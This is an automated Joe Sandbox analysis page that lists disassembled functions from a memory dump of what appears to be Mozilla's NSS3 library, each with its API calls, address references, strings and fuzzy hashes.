Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$EnterUnlockValue$ArenaDestroyFinishHashPoolTable
String ID:
API String ID: 3225375108-0
Opcode ID: 6c5024ab2b64e290bf529a92354a92b73cf2845440d80b9454ed76c446a17b46
Instruction ID: 33c7763f8be32148bb567f8f06cc6bffcd994a3e1689c3b39fd52f9556466fbf
Opcode Fuzzy Hash: 6c5024ab2b64e290bf529a92354a92b73cf2845440d80b9454ed76c446a17b46
Instruction Fuzzy Hash: 422159B5A04A45CFCB00AFB9D08856DBBF0FF05354F054929DCA497B00EB31E899CBA2

Function 6CB68FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CB70710), ref: 6CB68FF1
PR_CallOnce.NSS3(6CCB2158,6CB69150,00000000,?,?,?,6CB69138,?,6CB70710), ref: 6CB69029
calloc.MOZGLUE(00000001,00000000,?,?,6CB70710), ref: 6CB6904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CB70710), ref: 6CB69066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CB70710), ref: 6CB69078

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 23bab763b4c5ef255fe400fb3e26e12449cd2210f4b77c9121e8133346fe2a7d
Instruction ID: d6e0a79484c44069ed0a1fc2ba29d17c3e19a7cec34c0fa5b752a838a1490e95
Opcode Fuzzy Hash: 23bab763b4c5ef255fe400fb3e26e12449cd2210f4b77c9121e8133346fe2a7d
Instruction Fuzzy Hash: 5911E561F0019157EB1017ABEC44A6A72ACDB827ACF500531FC88C6E40F753CD4593A6

Function 6CB7CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CB91E10: TlsGetValue.KERNEL32 ref: 6CB91E36
Part of subcall function 6CB91E10: EnterCriticalSection.KERNEL32(?,?,?,6CB6B1EE,2404110F,?,?), ref: 6CB91E4B
Part of subcall function 6CB91E10: PR_Unlock.NSS3 ref: 6CB91E76

free.MOZGLUE(?,6CB7D079,00000000,00000001), ref: 6CB7CDA5
PK11_FreeSymKey.NSS3(?,6CB7D079,00000000,00000001), ref: 6CB7CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CB7D079,00000000,00000001), ref: 6CB7CDCF
DeleteCriticalSection.KERNEL32(?,6CB7D079,00000000,00000001), ref: 6CB7CDE2
free.MOZGLUE(?), ref: 6CB7CDE9

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: a7ffa29e5f19a189743c6bde196ba38c27c5632aaf61106d0edb12820e8c565c
Instruction ID: 81905434b43e105ddb181def044f6b8e78c97b07a2c1440f7cf35e623ca51405
Opcode Fuzzy Hash: a7ffa29e5f19a189743c6bde196ba38c27c5632aaf61106d0edb12820e8c565c
Instruction Fuzzy Hash: 1A11A3B2B01151ABDB10AFA5ED44A9A777CFF04259B144135ED1987E01E732E864C7E2

Function 6CBE2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CBE5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CBE5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBE2CEC

Part of subcall function 6CBFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBFC2BF

PR_EnterMonitor.NSS3(?), ref: 6CBE2D02
PR_EnterMonitor.NSS3(?), ref: 6CBE2D1F
PR_ExitMonitor.NSS3(?), ref: 6CBE2D42
PR_ExitMonitor.NSS3(?), ref: 6CBE2D5B

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: f28b01660b3716b8cb5cf9db2acf3241ce8e3ff5455ff63cab6370419e8dd176
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: E001C8B19042415FE6309F26FC40BC7B7A1EF49758F004525E95D86B10E732F8199793

Function 6CBE2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CBE5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CBE5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBE2D9C

Part of subcall function 6CBFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBFC2BF

PR_EnterMonitor.NSS3(?), ref: 6CBE2DB2
PR_EnterMonitor.NSS3(?), ref: 6CBE2DCF
PR_ExitMonitor.NSS3(?), ref: 6CBE2DF2
PR_ExitMonitor.NSS3(?), ref: 6CBE2E0B

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 224850f0599a696da4ca23f3da6849ff87cca1ccd072d6ae89ce84d19f6c19a6
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 3F01C4B5A042515FEA309F26FC01BC7B7A1EF49798F004535E95D87B10E732F8299693

Function 6CB7AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CB63090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB7AE42), ref: 6CB630AA
Part of subcall function 6CB63090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB630C7
Part of subcall function 6CB63090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CB630E5
Part of subcall function 6CB63090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB63116
Part of subcall function 6CB63090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB6312B
Part of subcall function 6CB63090: PK11_DestroyObject.NSS3(?,?), ref: 6CB63154
Part of subcall function 6CB63090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB6317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CB599FF,?,?,?,?,?,?,?,?,?,6CB52D6B,?), ref: 6CB7AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CB599FF,?,?,?,?,?,?,?,?,?,6CB52D6B,?), ref: 6CB7AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CB52D6B,?,?,00000000), ref: 6CB7AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CB52D6B,?,?,00000000), ref: 6CB7AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CB52D6B,?,?), ref: 6CB7AEA3

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 34a5ce783492244330be2e03b6ab1578892669b646fbe29ad923bce4dff3e526
Instruction ID: 3882ec0f6064f1012743befc6fbb4842884a59a58a9841da081f0e64e6c2cc47
Opcode Fuzzy Hash: 34a5ce783492244330be2e03b6ab1578892669b646fbe29ad923bce4dff3e526
Instruction Fuzzy Hash: 6C01D163B080E097E761916CEC81AEF3168CB8769CB181032ED26D7B41F612D9094BB3

Function 6CC6BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6CC67AFE,?,?,?,?,?,?,?,?,6CC6798A), ref: 6CC6BDC3
free.MOZGLUE(?,?,6CC67AFE,?,?,?,?,?,?,?,?,6CC6798A), ref: 6CC6BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CC67AFE,?,?,?,?,?,?,?,?,6CC6798A), ref: 6CC6BDE9
free.MOZGLUE(?,00000000,00000000,?,6CC67AFE,?,?,?,?,?,?,?,?,6CC6798A), ref: 6CC6BE21
free.MOZGLUE(00000000,00000000,?,6CC67AFE,?,?,?,?,?,?,?,?,6CC6798A), ref: 6CC6BE32

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 786adf6af79fd823e7670257bb80f681610d5a0d4995ead8b7bc21a0b1018880
Instruction ID: d83e07468efdd57f7739b4fac81275cf6aa79aa44606b526724d07307119806f
Opcode Fuzzy Hash: 786adf6af79fd823e7670257bb80f681610d5a0d4995ead8b7bc21a0b1018880
Instruction Fuzzy Hash: 8F1118B5B052009FDF00DFE9E86DB063BB5FB4B354B04046AE50AC7710E732A816DB99

Function 6CC67C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6CC67C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC67C83
malloc.MOZGLUE(00000001), ref: 6CC67C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CC67C9F
PR_GetCurrentThread.NSS3 ref: 6CC67CAD

Part of subcall function 6CC19BF0: TlsGetValue.KERNEL32(?,?,?,6CC60A75), ref: 6CC19C07

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 2ccba0ead3822e310168fdb5a3f2399ff0994e5bbdbaae60b006b399f456f5a3
Instruction ID: 820cd549eebab8db0e57449ceea7119afc79bacd5f0cac1058ed033a6a21ce71
Opcode Fuzzy Hash: 2ccba0ead3822e310168fdb5a3f2399ff0994e5bbdbaae60b006b399f456f5a3
Instruction Fuzzy Hash: A2F0AFB19142067BEB009F7B9D499577B58AF00369B11842AE809C7F00FB31E5148BE5

Function 6CC6ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CC6A6D8), ref: 6CC6AE0D
free.MOZGLUE(?), ref: 6CC6AE14
DeleteCriticalSection.KERNEL32(6CC6A6D8), ref: 6CC6AE36
free.MOZGLUE(?), ref: 6CC6AE3D
free.MOZGLUE(00000000,00000000,?,?,6CC6A6D8), ref: 6CC6AE47

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 61eccb1d66f4506a12b80b29afc274ef04a05380128773095b0e5527d03c8483
Instruction ID: af6eac6864fff2b6e9e6636f7696812395ae67ef0e703b99dc0d827f61ac58fa
Opcode Fuzzy Hash: 61eccb1d66f4506a12b80b29afc274ef04a05380128773095b0e5527d03c8483
Instruction Fuzzy Hash: 21F0F675201A01ABCA009FE9F84CA1BB7B8BF86774B100328E12A83940E733E421C7D1

Function 6CAF7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CAF7D35

Strings

%s at line %d of [%.10s], xrefs: 6CAF7D2E
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CAF7D13, 6CAF7D1F, 6CAF7D47, 6CAF7D53, 6CAF7D5F
database corruption, xrefs: 6CAF7D29

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 79822ec237f30b756d63f8991301cde3eced3e9a77c4eb4e477a6a74d7366b81
Instruction ID: 80329e4c26891f421e35d19a33107131883fc8d74cd898290e03e3d4c831d22f
Opcode Fuzzy Hash: 79822ec237f30b756d63f8991301cde3eced3e9a77c4eb4e477a6a74d7366b81
Instruction Fuzzy Hash: BD31F671E052259BC710CF9EC8809BEB7F1AF44309B990195F454F7781E271D892CBB0

Function 6CAE6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CAE6D36

Strings

%s at line %d of [%.10s], xrefs: 6CAE6D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CAE6D20
database corruption, xrefs: 6CAE6D2A

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: c78213547deadf8ed6a48e7cc0e07306b4220f502bcde519e1b56bb6b97f35ab
Instruction ID: bb0456453a4ed3c574f04898ee7aa90a3cff88255bb2fdca7c727176d4249c32
Opcode Fuzzy Hash: c78213547deadf8ed6a48e7cc0e07306b4220f502bcde519e1b56bb6b97f35ab
Instruction Fuzzy Hash: 7B21F430600B099BC710CE1AC981B5BB7F2AF89318F58492CD9599BF51E371F9C887D2

Function 6CC1CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CC1CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CC1CC7B), ref: 6CC1CD7A
Part of subcall function 6CC1CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CC1CD8E
Part of subcall function 6CC1CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CC1CDA5
Part of subcall function 6CC1CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CC1CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CC1CCB5
memcpy.VCRUNTIME140(6CCB14F4,6CCB02AC,00000090), ref: 6CC1CCD3
memcpy.VCRUNTIME140(6CCB1588,6CCB02AC,00000090), ref: 6CC1CD2B

Part of subcall function 6CB39AC0: socket.WSOCK32(?,00000017,6CB399BE), ref: 6CB39AE6
Part of subcall function 6CB39AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CB399BE), ref: 6CB39AFC

Part of subcall function 6CB40590: closesocket.WSOCK32(6CB39A8F,?,?,6CB39A8F,00000000), ref: 6CB40597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CC1CCB0

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 454f5dfa97abceb122c4a75c6dc4457783eb8d3eac64166c3d9a885cdadde09a
Instruction ID: 4248f871968d242bc903fc2417da3d4ea221e8655a4fe6f3afc79d227f3e9d83
Opcode Fuzzy Hash: 454f5dfa97abceb122c4a75c6dc4457783eb8d3eac64166c3d9a885cdadde09a
Instruction Fuzzy Hash: BC117FF2A042405EDB009FDF9F96B867AB89346298F141039E40ADBF41F671D80C8BDA

Function 6CB81CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6CB81CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6CB81CF1

Part of subcall function 6CC609D0: PR_Now.NSS3 ref: 6CC60A22
Part of subcall function 6CC609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CC60A35
Part of subcall function 6CC609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CC60A66
Part of subcall function 6CC609D0: PR_GetCurrentThread.NSS3 ref: 6CC60A70
Part of subcall function 6CC609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CC60A9D
Part of subcall function 6CC609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CC60AC8
Part of subcall function 6CC609D0: PR_vsmprintf.NSS3(?,?), ref: 6CC60AE8
Part of subcall function 6CC609D0: EnterCriticalSection.KERNEL32(?), ref: 6CC60B19
Part of subcall function 6CC609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CC60B48
Part of subcall function 6CC609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CC60C76
Part of subcall function 6CC609D0: PR_LogFlush.NSS3 ref: 6CC60C7E

Strings

C_Initialize, xrefs: 6CB81CD3
pInitArgs = 0x%p, xrefs: 6CB81CEC

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize
API String ID: 1907330108-3943720641
Opcode ID: 1f8c7bea0bb2ab978e8341cea309dede9cafe3db440fe5f9fdc76f1ac2bfc281
Instruction ID: d66dda877c7b5f1eebe4f262d969602301123591b43a4102083b25af8a8793fd
Opcode Fuzzy Hash: 1f8c7bea0bb2ab978e8341cea309dede9cafe3db440fe5f9fdc76f1ac2bfc281
Instruction Fuzzy Hash: 5B01B5B53031C09FDF009BA4DA59B5A37B5EBC231AF084425E819D7A51EB30D849CB96

Function 6CAE7F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CAE81DF
LeaveCriticalSection.KERNEL32(?), ref: 6CAE8239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CAE8255
sqlite3_free.NSS3(00000000), ref: 6CAE8260

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

